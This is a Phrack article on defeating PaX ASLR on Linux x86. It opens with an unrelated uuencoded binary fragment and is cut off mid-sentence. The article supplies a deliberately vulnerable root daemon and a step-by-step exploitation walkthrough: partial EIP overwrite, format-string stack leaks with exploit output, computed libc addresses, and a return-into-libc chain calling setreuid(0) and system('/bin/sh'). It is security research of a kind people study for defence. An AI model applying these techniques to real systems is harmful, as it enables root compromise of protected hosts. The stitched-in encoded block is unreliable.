MX8^-V\,V[;GVL!(HQE'`E7UD$B3D2HBZ*):1H$TSSH$@S01=#\GB)O:0`C:> M[>%!/`D!J MB;G"+(7)61NN`/)4(D\$(7%#DPHYD4"T_:A_TI\`,?+\X/MZ@VB5'U]47_]2 M8]&KL_;%(0`])*'>YL8]T:>`F-ZX?=)L0"W/&"[*K>LFZ"-'.:!%KU\ M.\;KHE8[@$:'U1,ZT*V(!)]6A4:%E+,@Q^?N#ON1AX9__K40^B?+=^X3!\I9 M05>PKE>:3(B[=OZ-I#N];%YK_=%@V8-4(UB6?#0=C^+$2NH,VL?1@):!1!S# M,=4YEZM MI7R.Q_%YPD(GTA!O$UC!YB5Q$8#@R4SW"Z8]S#-A>,8*`RB7=AQ_B$SI M95:FWT9^4?W!FW;UM]WJ?Q^^-8'5ZOVWY0?UOQV7D)#$_>J/^(J:J6I1;0R< M1:DB[6S=K$A'4WVCUVF!A)M[X6RX1E999M(OK6N0R_]"P&1U^;N;^?FZ2/CW ML''DK#BJ=90;3.\V*8%88R<$+864:)"/)U@MC?;0(>HWUJM]O9M MH6)NQ_R`2N^DID2M/RS4\@WN5M&<[K;\NUTF)S7](4I`TO-T,NGVA_8EE(4U M:(%XV!]J;TK<)?/H5WGS;OMM>9MD\%+EYA3:KI6QA+!8ML7:^!]2&53E M]JBUQ@_?]4?CH^4'8 M'>,;^2CJ4,(_MOT.^:73"CWIG.:C[A63S(Z-HW*26U-FS_CQ[I'7,&`%6'B@H?P]E*TY"S]!6]X`E*^".U$^35;7KMWN]? M1H/V!'4VT?NNG0&371J96T.0`][/[Y\#9C@O%$*`[7]1]?:__T"PMKZI523R M_'=E]"BT'R]F]XZ4F$ M:2:2H!'Q->*4A)-Q9#1US_MD*8*$^^AZ,^Y0LAS_TF:``\@!$?,VD[)00\\@ M$\EC+Y=FL_="2XY55\1HAZ73#(+EW59\:Q$M8[#C)!X@];)L%6,!@5>3R25I MY2;D>'I;%3$"_X5BK\"2L)E5C58'?5\%Z!]4#1)0P[VK'1S,*+2(7ZS02B,4 M>[;['D)PV902`_8IC0%QD![:N=3Q`E]5./!@,9:HSX!Y$$_'G6@&4%M4`T\B M'X*CL-)`]OIT.>=7GB]H1+Z6\EX\K)9R8Z6'T^8(B7=,Q=-4= M#:[G\R[GR&U+8:`'E6(JQO&TA=POVO/%,4#5;:#H'2F_>Q12%Y49P+5X]'(5D!EVNKQI?_2#%#YVI M%REFL7@,%>2WC-J)G"7X`SBHL!LB3SQ\R#][X4^[3U[OAX\*Z$8K(F,4E-!G MK?W.:!2>M3OC6!Z1V%Y'ERYB7%(RDD"D'(B3WV&8#'O;.$H!D'88%8_Z# M:B1P!6(>)B0@V=UM$IVX+(J?2Q+B0AB4!#(-V'W8+.%WK5RLM!I+K36.W4/3 M`!1ZU"S!&BEQOM=3.Z8QVME8( M-G_IIDZAJ=)(!ME:YWC;V*EI[&SFASQWW[(__FW8'_GX!J$R>UV&%0=` M5JLH@H6VHXE&3%;(NF*?#44-*9&)1QJ'ONA9`,:(>`=8'2@S`*+C!2?%$9GN M*2FW(`!C#24?12J(9()0THCEC.[43^!^`)_%H[<5C#P)C"T@8P8(:#3:6$NY M5.0R:LV$WRR_Y7^!5H/O%3AC6BN2@:S[\.-R=_=S:XU##S^W&AS:^]Q:Y]"C MSY634F[9#DA"QGQAG,>22I4$,9Y07*X>Y>]='^]X^?[=.SQL,8EGTM MF`[[OVK$]LD8EI)-IM?$=^E=%P@VQ8'"?Z;UDU)V:WZ7WIMN"ROH@1':TWMA M'`%:PJTIEPC2X#.[D!"?:#RA\$?21D%3WC?119N-MEE;:/RZ?TB6M0X/GK]^ MN;>O!GP$@Z$N7L86%T""W4+3+1;^^`ZG3`B250J<$';5PXZ"Z!;3-RYWT@-@ M-Y>W<"G-KMO\FWZE7@[OA.5ZQ1Q.#]$=`(H=9$;=2!MSX]'H8B(F+%CZQ6!Q M%)_!;O9\1"F'13SHLCP-%659&A:>@8[&X7)C=37$Z_Z*>#4O66'W",4;J`9S MJW/ZPR14#?2/G;9:*:O`;."A$12R.%?(;G.1&8%)3IO/F`/02)([>0RW`7E_ MG7K&F_J]>J\_!]YV3EKJE)H`'2+JA]256LXNL1U@C8*E\&>T"&BF*^J2H%/J M-)L(\2Y`K,)1@XC:J]0?L$1>)=%7C>C',A MB@C+S'3L-R%T%,#`,60)C,^_YDS$+.A[CH-G>$QZ6.U*S&=[T:W+XV=)[,SV MBIA5JL7=>0B6UIFI-H.MJ7XO;S9/CI,/FV:6%0F;T)ZUN[]*_>U7P3R-_-E/8OM9G-X%]C+ZNQ_..WLFGO M%3M9"*AY&UFRY.UC20JNDKG]%W^(S7M82+TK,-L"JEG(5!_"+:QUS&DT+]$Y M;0]/HFX>4VAF1B,1H+A5MY)E_P*299H1^L729;<29G]M"3,E#2VXQCV_ZI=9 MBSR\="J;?:55",Q#83[NL\^U\]]K#0=XU7"`5^T#_.E9W`W_?I&RXYJV)UO, ML4$;:`NIB+&L4?E8&4JM."/!B-63-(\R;;6?[)XC)1J?#ZTI=[+-0@J*W4P% M9!X>+19,ID,X1-!".FJIP%)B>[%PXB?TXJ*-MYHC^WTT`IIY1);X?9.P29RV MYA;+.P[9DX8FD!5Z4I>&Q0XM1GJ;K68R<$!FB!YA M68OS4-$ZZO6PLQ_0UEUG$"?*@@&-9!*3OP1VX,#\;\BY/(Y6L`O,C\$791HH M48O('OP_TUS$9_2DW.Z\=\-)'3_'BX/1JB![UM+:]@<82NH\L:65)>;B,#YD M;5C"7=K5!MLA2*8=Y%[0VYM8>'"D?F@MQ?B+%W:B7]HHI>38B$`4\CI!NP85 M8C#=N5-Q;&1<\>1:B2RSG9)=:N*.D1N7AK"V"`837-1KM[1Q";$2+7/06.TE M80;Y>"J"#Z$QNB#-G?WR@G(6_^_V[_;O]N_V[_;O]N_V[_;O]N_V[_;O]N_V B[_;O]N_V[_;O]N_V[_;O]N_V[_;O7^3O_P-))_I>`)`!```` ` end ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x09 of 0x12 |=------------------=[ Bypassing PaX ASLR protection ]=------------------=| |=-----------------------------------------------------------------------=| |=------------=[ anonymous author ]=----------=| 0. Introduction a. What is PaX and what it does b. Known attacks against old PaX implems c. What changed since ret-into-dl-resolve() 1. What you ever wanted to know about PaX a. Paging basics b. PaX foundations (PAGEEXEC feature) c. Address Space Layout Randomization Layout (ASLR) - Stack ASLR - Libraries ASLR - Executable PT_LOAD double mapping technique - ET_EXEC to ET_DYN full relinking technique d. Last enforcements 2. ASLR weaknesses a. EIP partial overwrite b. Generating information leaks 3. Understanding the exploitation step by step a. Global flow understanding using gdb b. Examining the remote stack c. Verify printf relative offset using elfsh d. Guess functions and parameters absolute addresses 4. Exploitation success conditions a. Looking for exploitable stack based overflows b. Looking for leak functions c. The frame pointer problem and workaround d. Discussion about segvguard 5. The code a. Sample target b. ret-into-printf info leak code 6. Referenced papers and projects -------[ 0. Introduction [a] PaX, stands for PageEXec, is a linux kernel patch protection against buffer overflow attacks . It is younger than Openwall (PaX has been available for a year and a half now) and takes profit from the processor lowlevel paging mechanism in order to detect injected code execution . It also make return into libc exploits very hard to accomplish . This patch is very easy to use and can be downloaded on [1] , so as the tiny chpax tool used to configure PaX on a per file basis . For accomplishing its task, PaX hooks two OS mechanisms : - Refuse code execution on writable pages (PAX_PAGEEXEC option) . - Randomize mmap()'ed library base address to make return into libc harder . [b] Some years ago, Nergals came with his return into plt technique (ELF specific) allowing him to bypass the mmap() protection (implemented in OpenWall [2] at this time) . The technique has been very well described in a recent paper [3] and wont be developped again in this article . [c] In the last months, the PaX team released et_dyn.zip, showing us how to relink executable (ET_EXEC ELF objects) into ET_DYN objects, so that the main object base address would also be randomized, and Nergal's return-into-plt attack blocked . Unfortunately, most people think it is a real pain to relink all sensible binaries . The PaX team decided to release a new version of the patch, accomplishing the same task without needing relinking . Since this patch represents the latest improvement concerning buffer overflow protection, a new study was necessary . We will demonstrate that in certain conditions, it is still possible to exploit stack based buffer overflows protected by PaX with all options actived, including the new ET_EXEC binary base address randomizing . We will show that we can reduce the problem to a standard return-into-libc exploitation . Heap overflows wont be developped, but it might also be possible to exploit them in an ASLR environment using a derived technique . -------[ 1. What you ever wanted to know about PaX If you dont care about PaX itself, please pass this paragraph and go read paragraph 2 now :) [a] Paging basics On INTEL Pentium processors, userland pages are 4Ko big . The design for 32 bits linear addresses (when pagination is enabled, which is mandatory if protected mode is enabled) is : --------------------------------------- | | | | --------------------------------------- ^ ^ ^ | | |_____ Page offset (12 bits) | | | |_____ Page table entry index (10 bits) | |_______ Page directory entry index (10 bits) If no extra options (like PSE or PAE) are actived, the processor handle a 3 level paging, using 2 intermediary tables called the page directory and the page table . On Linux, segmentation protection is not used by default (segment base address is 0 everywhere, and segment limit is FFFFF everywhere), it means that virtual address space and linear address space are the same . For extended information about the INTEL Pentium protected mode, please refers to the Documentation reference [4], paragraph 3.6.2 describes paging basics, including PDE and PTE explainations . For instance, linear address 0804812C can be decomposed like : 08 + two high bits in the third nibble '0' : Page directory entry index two low bits in the third nibble '0' + 48 : Page table entry index 12C (12 low bits) : Page offset [b] PAGEEXEC option There is a documentation on the PaX website [1] but as written on the webpage, it is quite outdated . I will try (thanks to the PaX team) to explain PaX mechanisms again and giving some details for our purpose : First, PaX hook your page fault handler . This is an routine executed each time you have an access problem to a memory page . Linux pages are all 4Ko on the platform we are interrested in . This fault can be due to many reasons : - Presence checking (not all 4Ko zone are mapped in memory at this moment, some pages may be swapped for instance and we want to unswap it) - Supervisor check (the page has its supervisor bit set, only the kernel can access it, normal behavior is to send SIGSEGV) - Access mode check : try to write and not allowed, try to read and not allowed, normal behaviour is send SIGSEGV . - Other reasons described in [4] . Since there is no dedicated bit on PDE (page directory entry) or PTE (page table entry) to control page execution, the PaX code has to emulate it, in order to detect inserted shellcode execution in the flow . Every protected pages tables entries (PTE) are set to supervisor . Protected pages include everything (stack, heap, data pages) except the original executable code (executable PT_LOAD program header for each process object) . Consequences are quite directs : each time we access one of these pages, the page fault handler is executed because the supervisor bit has been detected during the linear-to-physical address translation (so called page table walk) . PaX can control access to the page in its PF handling code . What PaX can choose to do at this time : - If it is a read/write access, consider it as normal if original page flags allows it and do not kill the task . For this to work, the PaX code has to temporary fill the corresponding PTE to a user one (remember that the page has been protected with the supervisor bit whereas it contains userland code), then do access on the page to fill the dtlb, and set the page as supervisor again . This will result in further data access to the page not beeing filtered by PF since it will use the dtlb cached value and not perform a page table walk again ;) - If it is an execution access, kill the task and write the exploitation attempt in the logs . [c] ASLR => Stack ASLR bash$ export EGG="/bin/sh" bash$ cat test.c <++> DHagainstpax/test.c !187b540a #include #include int main(int argc, char **argv, char **envp) { char *str; str = getenv("EGG"); printf("str = %p (%s) , envp = %p, argv = %p, delta = %u \n", str, str, envp, argv, (u_int) str - (u_int) argv); return (0); } <--> bash$ ./a.out str = 0xb7a2aece (/bin/sh) , envp = 0xb7a29bbc, argv = 0xb7a29bb4, delta = 4890 bash$ ./a.out str = 0xb9734ece (/bin/sh) , envp = 0xb973474c, argv = 0xb9734744, delta = 1930 bash$ ./a.out str = 0xba36cece (/bin/sh) , envp = 0xba36c73c, argv = 0xba36c734, delta = 1946 bash$ chpax -v a.out a.out: PAGE_EXEC is enabled, trampolines are not emulated, mprotect() is restricted, mmap() base is randomized, ET_EXEC base is randomized bash$ After investigation, it seems like the stack address is randomized on the 28 low bits, but in 2 times, which explain why the EGG environment variable is always on the same page offset (ECE) . First, bits 12 to 27 get randomized, then environment is copied on the stack, finally the page offset (bits 0 to 11) is randomized using some %esp padding . Note that low 4 bits are always 0 because the kernel enforces 16 bytes alignement after the %esp pad . This is not a big vulnerability and you dont need it to manage ASLR exploitation, even if it might help in some cases . It may be corrected in the next PaX version however . => Libraries ASLR bash$ cat /proc/self/maps | grep libc 409da000-40ae1000 r-xp 00000000 03:01 833281 /lib/libc-2.2.3.so 40ae1000-40ae7000 rw-p 00106000 03:01 833281 /lib/libc-2.2.3.so bash$ cat /proc/self/maps | grep libc 4e742000-4e849000 r-xp 00000000 03:01 833281 /lib/libc-2.2.3.so 4e849000-4e84f000 rw-p 00106000 03:01 833281 /lib/libc-2.2.3.so bash$ cat /proc/self/maps | grep libc 4b61b000-4b722000 r-xp 00000000 03:01 833281 /lib/libc-2.2.3.so 4b722000-4b728000 rw-p 00106000 03:01 833281 /lib/libc-2.2.3.so bash$ Library base addresses get randomized on 16 bits (bits 12 to 27) . Page offset (low 12 bits) is not randomized, the high nibble is not randomized as well (always '4' to allow big library mapping, this nibble wont change unless a very big zone is mapped) . We already note that there's no NUL bytes in the library addresses, the PaX team choosed to randomize address on 16 bits instead . => Executable PT_LOAD double mapping technique In order to block classical return-into-plt exploits, we can use two mechanisms . The first one consists in automatically remapping the executable program header (containing the binary .plt) and set the old (original) mapping as non-executable using the PAGEXEC option . For obscure reasons linked to crt*.o PIC code, vm_areas framing the remapped region have to share the same physical address than vm_areas framing the original region but that's not important for the presented attack . The data PT_LOAD program header is not moved because the remapped code may contains absolute references to it . This is a vulnerability because it makes .got accessible in rw mode . We could for instance poison the table using partial entry overwrite (overwriting only 1 or 2 bytes in the entry) but this wont be discussed in the paper since this attack is derived from [5] and would require similar conditions . Moreover, the remapping option is time consuming and we prefer using full relinking . => ET_EXEC to ET_DYN full relinking technique Now it comes more tricky ;p Maybe you already noticed executable libraries in your tree . These objects are ET_DYN (shared) and contains a valid entry point and valid interpreter (.interp) section . libc.so is very good examples : bash$ /lib/libc.so.6 GNU C Library stable release version 2.2.3, by Roland McGrath et al. (...) Report bugs using the `glibcbug' script to . bash$ bash$ /usr/lib/libncurses.so Segmentation fault bash$ If we look closer at these libraries, we can see : bash$ objdump -x /lib/libc.so.6 | grep INTERP INTERP off 0x001065f2 vaddr 0x001065f2 paddr 0x001065f2 align 2**0 bash$ objdump -x /usr/lib/libncurses.so | grep INTERP bash$ A sample relinking package called et_dyn.zip can be obtained on the PaX website, it shows how to perform relinking for your own binaries . For this, you just have to request a PT_INTERP segment to be created (not the case by default except for libc) and have a valid entry point function (a main function is enough) . This relinking will result in all zone (code and data program header) beeing mapped as shared libraries, with base address randomized using the standard PaX mmap() mechanism . This is the protection we are going to defeat . [d] Last enforcements PaX also prevents from mprotect() based attacks, when mprotect is used to regain execution rights on a shellcode inserted in the stack for instance . It matters because in case we are able to guess the mprotect() absolute address, we wont be able to abuse it . Trampoline emulation is not explained because it doesnt matter for our purpose . -------[ 2. ASLR weaknesses [a] As we saw, page offset is 12 bits long . It means that a one byte EIP overflow is not risky because we know that the modified return address will still point in the same page, since the INTEL x86 architecture is little endian . Partial overflows have not been studied much, except for the alphanumeric shellcode purpose [6] and for fp overwriting [7] . Using this technique we can replay or bypass part of the original code . What is more interresting for us is replaying code, in our case, replaying buffer overflows, so that we'll be able to control the process execution flow and replay vulnerable code as much as needed . We start thinking about some brute forcing mechanism but we want to avoid crashing the program . [b] What we have to do against PaX ASLR is retreiving information about the process, more precisely about the process address space . I'll ask you to have a look at this sample vulnerable code before saying the whole technique : <++> DHagainstpax/pax_daemon.c !d75c8383 #include #include #include #include #define NL '\n' #define CR '\r' #define OKAY_PASS "evil" #define FATAL(str) { perror(str); exit(-1); } int verify(char *pass); int do_auth(); char pass[48]; int len; int main(int argc, char **argv) { return (do_auth()); } /* Non-buggy passwd based authentication */ int do_auth() { printf("Password: "); fflush(stdout); len = read(0, pass, sizeof(pass) - 1); if (len <= 0) FATAL("read"); pass[len] = 0; if (!verify(pass)) { printf("Access granted .\n"); return (0); } printf("You loose !"); fflush(stdout); return (-1); } /* Buggy password check (stack based overflow) */ int verify(char *pass) { char filtered_pass[32]; int i; bzero(filtered_pass, sizeof(filtered_pass)); /* this protocol is a pain in the ass */ for (i = 0; pass[i] && pass[i] != NL && pass[i] != CR; i++) filtered_pass[i] = pass[i]; if (!strcmp(filtered_pass, OKAY_PASS)) return (0); return (-1); } <--> This is a tiny password based authentication daemon, running throught inetd or at the command line . For inetd use, here is the line to add in inetd.conf : 666 stream tcp nowait root /usr/sbin/tcpd \ /home/anonymous/DHagainstpax/paxtestd Just replace the command line with your own path for the daemon, inform inetd about it, and verify that it works well : bash$ pidof inetd 99 bash$ kill -HUP 99 bash$ netstat -a -n | grep 666 tcp 0 0 0.0.0.0:666 0.0.0.0:* LISTEN bash$ This is a quite dumb code printing a password prompt, waiting for an input, and comparing it with the valid password, filtering CR and NL caracters . bash$ ./paxtestd Password: toto You loose ! bash$ ./paxtestd Password: evil Access granted . bash$ For bored people who think that this code cant be found in the wild, I would just argue that this work is proof of concept . Exploitation conditions are generalized in paragraph 4 . We can easily idenfify a stack based buffer overflow vulnerability in this daemon, since the filtered_pass[] buffer is filled with the pass[] buffer, the copy beeing filtered in a 'for' loop with a missing size checking condition . [b] What can we do to exploit this vulnerability in a PaX full random address space protected environment ? If we look closed, here is what we can see : (...) printf("Password: "); fflush(stdout); len = read(0, pass, sizeof(pass) - 1); if (len <= 0) FATAL("read"); pass[len] = 0; if (!verify(pass)) { (...) The assembler dump (slighly modified to match symbol names cause objdump symbol matching sucks :) for do_auth() looks like that : 804858c: 55 push %ebp 804858d: 89 e5 mov %esp,%ebp 804858f: 83 ec 08 sub $0x8,%esp 8048592: 83 c4 f4 add $0xfffffff4,%esp 8048595: 68 bc 86 04 08 push $0x80486bc 804859a: e8 5d fe ff ff call 80483fc 804859f: 83 c4 f4 add $0xfffffff4,%esp 80485a2: ff 35 00 98 04 08 pushl 0x8049800 80485a8: e8 1f fe ff ff call 80483cc 80485ad: 83 c4 20 add $0x20,%esp 80485b0: 83 c4 fc add $0xfffffffc,%esp 80485b3: 6a 2f push $0x2f 80485b5: 68 20 98 04 08 push $0x8049820 80485ba: 6a 00 push $0x0 80485bc: e8 6b fe ff ff call 804842c 80485c1: 89 c2 mov %eax,%edx 80485c3: 89 15 50 98 04 08 mov %edx,0x8049850 80485c9: 83 c4 10 add $0x10,%esp 80485cc: 85 d2 test %edx,%edx 80485ce: 7f 17 jg 80485e7 ; if (len <= 0) 80485d0: 83 c4 f4 add $0xfffffff4,%esp 80485d3: 68 c7 86 04 08 push $0x80486c7 80485d8: e8 df fd ff ff call 80483bc 80485dd: 83 c4 f4 add $0xfffffff4,%esp 80485e0: 6a ff push $0xffffffff 80485e2: e8 35 fe ff ff call 804841c 80485e7: b8 20 98 04 08 mov $0x8049820,%eax 80485ec: c6 04 02 00 movb $0x0,(%edx,%eax,1) 80485f0: 83 c4 f4 add $0xfffffff4,%esp 80485f3: 50 push %eax 80485f4: e8 27 ff ff ff call 8048520 80485f9: 83 c4 10 add $0x10,%esp More precisely: (...) 8048595: 68 bc 86 04 08 push $0x80486bc 804859a: e8 5d fe ff ff call 80483fc (...) 80485f4: e8 27 ff ff ff call 8048520 80485f9: 83 c4 10 add $0x10,%esp The 'call printf' and 'call verify' are cleary on the same page, we know this because the 20 high bits of their respective linear address are the same . It means that we are able to return on this instruction using a one (or two) byte(s) eip overflow . If we think about the stack state, we can see that printf() will be called with parameters already present on the stack, i.e. the verify() parameters. If we control the first parameter of this function, we can supply a random format string to the printf function and generate a format bug, then call the vulnerable function again, this way we hope resuming the problem to a standard return into libc exploit, examining the remote process address space, more precisely the remote stack, in particular return addresses. Lets prepare a 37 byte long buffer (32 bytes buffer, 4 byte frame pointer, and one low EIP byte) for the password input : "%001$08u \x9a" "%002$08u \x9a" "%003$08u \x9a" "%iii$08u \x9a" These format strings will display the 'i'th unsigned integer from the remote stack . Using this we can retreive interresting values using leak.c given at the end if this paper . For those who are not that familiar with format bugs, this will read the i'th pushed parameter on the stack (iii$) and print it as an unsigned integer (%u) on eight characters (8), padding with '0' char if needed . Format strings are deeply explained in the printf(3) manpage . Note that the 37th byte \x9a is the low byte in the 'call printf' linear address . Since the caller is responsible for parameters popping, they are still present on the stack when the verify function returns ('ret') and when the new return address is pushed by the 'call printf' so that the stack pointer is well synchronized . bash-2.05$ ./runit [RECEIVED FROM SERVER] *Password: * Connected! Press ^C to launch : Starting remote stack retreiving ... Remote stack : 00000000 08049820 0000002F 00000001 472ED57C 4728BE10 B9BDB84C 4727464F 080486B0 B9BDB8B4 472C6138 473A2A58 47281A90 B9BDB868 B9BDB888 472B42EB 00000001 B9BDB8B4 B9BDB8BC 0804868C bash-2.05$ In this first example we read 80 bytes on the stack, reading 4 bytes per 4 bytes, replaying 20 times the overflow and provoking 20 times a format bug, each time incrementing the 'iii' counter in the format string (see below) . As soon as we know enough information to perform a return into libc as described in [3], we can stop generating format bugs in loop and fully erase eip (and the parameters standing after eip on the stack) and perform standard return-into-libc exploitation . We can also choose to exploit the program using the generated format bugs as described it [8] . -------[ 3. Understanding the exploitation step by step The goal is to guess libc addresses so that we can perform a standard return into libc exploitation . For that we will use relative offsets from the retaddr we can read on the stack . This paragraph has been done to help you in your first ASLR exploitation . [a] Let's understand better the execution flow using a debugger. This is what we can see in the gdb debugging session for the vulnerable daemon, at this moment waiting for its first input : * WITHOUT ET_EXEC base address randomization (gdb) bt #0 0x400dff14 in __libc_read () at __libc_read:-1 #1 0x4012ca58 in __DTOR_END__ () from /lib/libc.so.6 #2 0x0804864f in main (argc=1, argv=0xbffffd54) at pax_daemon.c:26 #3 0x4003e2eb in __libc_start_main (main=0x8048634
, argc=1, ubp_av=0xbffffd54, init=0x8048374 <_init>, fini=0x804868c <_fini>, rtld_fini=0x4000c130 <_dl_fini>, stack_end=0xbffffd4c) at ../sysdeps/generic/libc-start.c:129 (gdb) * WITH ET_EXEC base address randomization (gdb) bt #0 0x4365ef14 in __libc_read () at __libc_read:-1 #1 0x436aba58 in __DTOR_END__ () from /lib/libc.so.6 #2 0x4357d64f in ?? () #3 0x435bd2eb in __libc_start_main (main=0x8048634
, argc=1, ubp_av=0xb5c36cf4, init=0x8048374 <_init>, fini=0x804868c <_fini>, rtld_fini=0x4358b130 <_dl_fini>, stack_end=0xb5c36cec) at ../sysdeps/generic/libc-start.c:129 (gdb) As you can see, the symbol table is not synchronized anymore with the memory dump so that we cant rely on the resolved names to debug . Note that we will dispose of a correct symbol table in case the ET_EXEC binary object has been relinked into a ET_DYN one, has explained in paragraph 1, part c . [b] Using the exploit, here is what we can see if we examine the stack with or without the ET_EXEC rand option : bash$ ./runit [RECEIVED FROM SERVER] *Password: * Connected! Press ^C to launch : Starting remote stack retreiving ... Remote stack (with ET_EXEC rand enabled) : 00000000 08049820 0000002F 00000001 482D157C 4826FE10 BDDB44DC 4825864F 080486B0 BDDB4544 482AA138 48386A58 48265A90 BDDB44F8 BDDB4518 482982EB 00000001 BDDB4544 BDDB454C 0804868C If we disable the ET_EXEC rand option, here is what we see : bash$ ./runit (...) Remote stack (with ET_EXEC rand disabled) : 00000000 08049820 0000002F 00000001 4007757C 40015E10 BFFFFCEC 0804864F 080486B0 BFFFFD54 40050138 4012CA58 4000BA90 BFFFFD08 BFFFFD28 4003E2EB 00000001 BFFFFD54 BFFFFD5C 0804868C As we want to do a return into libc, address pointing in the libc are the most interresting . What we are looking for is the main() return address pointing in the remapped instance of the __libc_start_main function, in the .text section in the libc's address space . Here is how to interpret the stack dump : 00000000 (...) 08049820 0000002F 00000001 435F657C 43594E10 B5C36C8C do_auth frame pointer 4357D64F do_auth() return address 080486B0 do_auth parameter ('pass' ptr) B5C36CF4 435CF138 436ABA58 4358AA90 B5C36CA8 B5C36CC8 main() frame pointer 435BD2EB main() return address 00000001 argc B5C36CF4 argv B5C36CFC envp 0804868C (...) [c] Now let's look at the libc binary to know the relative address for functions we are interrested in . For that we'll use the regex option in ELFsh [9] : bash-2.05$ elfsh -f /lib/libc.so.6 -sym ' strcpy '\|' exit '\|' \ setreuid '\|' system ' [SYMBOL TABLE] [4425] 0x750d0 strcpy type: Function size: 00032 bytes => .text [4855] 0x48870 system type: Function size: 00730 bytes => .text [5670] 0xc59b0 setreuid type: Function size: 00188 bytes => .text [6126] 0x2efe0 exit type: Function size: 00248 bytes => .text bash$ elfsh -f /lib/libc.so.6 -sym __libc_start_main [SYMBOL TABLE] [6218] 0x1d230 __libc_start_main type: Function size: 00193 bytes => .text bash$ [d] As the main() function return into __libc_start_main , lets look precisely in the assembly code where main() will return . So, we would know the relative offset between the needed function address and the address of the 'call main' instruction . This code is located in the libc. This dump has been taken from my default SlackWare libc.so.6 for which you may not need to change relative file offsets in the exploit . 0001d230 <__libc_start_main>: 1d230: 55 push %ebp 1d231: 89 e5 mov %esp,%ebp 1d233: 83 ec 0c sub $0xc,%esp (...) 1d2e6: 8b 55 08 mov 0x8(%ebp),%edx 1d2e9: ff d2 call *%edx 1d2eb: 50 push %eax 1d2ec: e8 9f f9 ff ff call 1cc90 (...) Instructions following this last 'call 1cc90' are 'nop nop nop nop', just headed by the 'Letext' symbol, but thats not interresting for us . Because the libc might have been recompiled, it may be possible to have different relative offsets for your own libc built and it would be very difficult to guess absolute addresses just using the main() return address in this case. Of course, if we have a binary copy of the used library (like a .deb or .rpm libc package), we can predict these offsets without any problem . Let's look at the offsets for my libc version, for which the exploit is based . We know from the 'bt' output (see above) that the main address is the first __libc_start_main() parameter . Since this function has a frame pointer, we deduce that 8(%ebp) contains the main() absolute address . The __libc_start_main function clearly does an indirect call through %edx on it (see the last 3 instructions) : 1d2e6: 8b 55 08 mov 0x8(%ebp),%edx 1d2e9: ff d2 call *%edx We deduce that the return address we read in the process stack points on the intruction at file offset 1d2eb : 1d2eb: 50 push %eax We can now calculate the absolute address we are looking for : . main() ret-addr : file offset 0x1d2eb, virtual address 0x4003e2eb . system() : file offset 0x48870, virtual address unknown . setreuid() : file offset 0xc59b0, virtual address unknown . exit() : file offset 0x2efe0, virtual address unknown . strcpy() : file offset 0x750d0, virtual address unknown What we deduce from this : . system() addr = main ret + (system offset - main ret offset) = 4003e2eb + (48870 - 1d2eb) = 4003e2eb + 2B585 = 40069870 . setreuid() addr = main ret + (setreuid offset - main ret offset) = 4003e2eb + (c59b0 - 1d2eb) = 4003e2eb + a86c5 = 400e69b0 . exit() addr = main ret + (exit offset - main ret offset) = 4003e2eb + (2efe0 - 1d2eb) = 4003e2eb + 11cf5 = 4004ffe0 . strcpy() addr = 4003e2eb + (750d0 - 1d2eb) = 4003e2eb + 57de5 = 400960d0 We needs some more offsets to perform a chained return into libc and insert NUL bytes as explained in Nergal's paper : - A pointer on the setreuid() parameter reposing on the stack, to be used as a dst strcpy parameter (we need to nullify it) : do_auth fp + 28 = B5C36CC8 + 1C = B5C36CE4 The setreuid parameter address (reposing on the stack) can be found using the do_auth() frame pointer value (B5C36CC8 in the stack dump), or if there is no frame pointer, using whatever stack variable address we can guess . - A pointer on a NUL byte to be used as a src strcpy parameter (let's use the "/bin/sh" final byte address) main ret addr + (string offset - main ret offset) + strlen("/bin/sh") = 4003e2eb + (fcc19 - 1d2eb) + 7 = 4003e2eb + df92e + 7 = 4011dc19 + 7 = 4011dc20 - A "/bin/sh" string with predictable absolute address for the system() parameter (we will find one in the libc's .rodata section which is part of the same zone (has the same base address) than libc's .text) main ret addr + (string offset - main ret offset) = 4003e2eb + (fcc19 - 1d2eb) = 4003e2eb + df92e = 4011dc19 bash$ elfsh -f /lib/libc.so.6 -X '.rodata' | grep -A 1 '/bin/' nbits.333 + 152 0xfcc18 : 00 2F 62 69 6E 2F 73 68 ./bin/sh nbits.333 + 160 0xfcc20 : 00 00 00 00 00 00 00 00 ........ -- zeroes + 19 0xff848 : 73 68 00 2F 62 69 6E 2F sh./bin/ zeroes + 27 0xff850 : 73 68 00 00 00 00 00 00 sh...... -- zeroes + 560 0xffad0 : 68 00 2F 62 69 6E 2F 73 h./bin/s zeroes + 568 0xffad8 : 68 00 74 6D 70 66 00 77 h.tmpf.w bash$ - A 'pop ret' and 'pop pop ret' sequences somewhere in the code, in order to do %esp lifting (we will find many ones in libc's .text) For 'pop ret' sequence : bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 1 | \ grep pop -A 1 (...) 2c519: 5a pop %edx 2c51a: c3 ret (...) For 'pop pop ret' sequence : bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 3 | \ grep pop -A 3 | grep -v leave (...) 4ce25: 5e pop %esi 4ce26: 5f pop %edi 4ce27: c3 ret (...) Note: be careful and check if the addresses are contiguous for the 3 intructions because the regex I use it not perfect for this last test . Here is how you have to fill the stack in the final overflow (each case is 4 bytes lenght, the first dword is the return address of the vulnerable function) : 0: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 16: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 32: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 48: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 64: | setreuid addr | 'pop; ret' addr |setreuid argv1| system addr | 80: | exit addr | "/bin/sh" addr | ??? DONT ??? | ??? CARE ??? | We need to overflow at least 84 bytes after the original return address . This is not a problem . The 4 first return-into-strcpy are used to nullify the setreuid argument, which has to be a 0x00000000 dword . -------[ 4. Exploitation conditions The attack suffers from many known limitations as you will see . [a] Looking for exploitable stack based overflows Not all overflows can be exploited like this . memcpy() and strncpy() overflows are vulnerable, so as byte-per-byte overflows . Overflow involving functions whoose behavior is to append a NUL byte are not vulnerable, except if we can find a 'call printf' instruction whoose absolute address low byte is NUL . [b] Looking for leak functions We can use printf() to leak information about the address space . We can also return into send() or write() and take advantage of the very good error handling code : We will not crash the process if we try to read some unmapped process area . From the send(3) manual page : ERRORS (...) EBADF An invalid descriptor was specified. ENOTSOCK The argument s is not a socket. EFAULT An invalid user space address was specified for a parameter. (...) We may want to return-into-write or return-into-any_output_function if there is no printf and no send somewhere near the original return address, but depending on the output function, it would be 